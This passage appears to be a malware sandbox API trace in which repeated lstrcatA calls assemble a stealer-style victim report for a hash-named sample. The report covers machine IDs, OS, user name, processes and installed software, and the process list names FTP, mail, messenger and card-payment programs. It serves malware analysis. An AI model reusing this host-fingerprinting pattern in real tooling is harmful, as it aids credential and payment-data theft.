[1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001"
[0054.962] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]"
[0054.962] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: 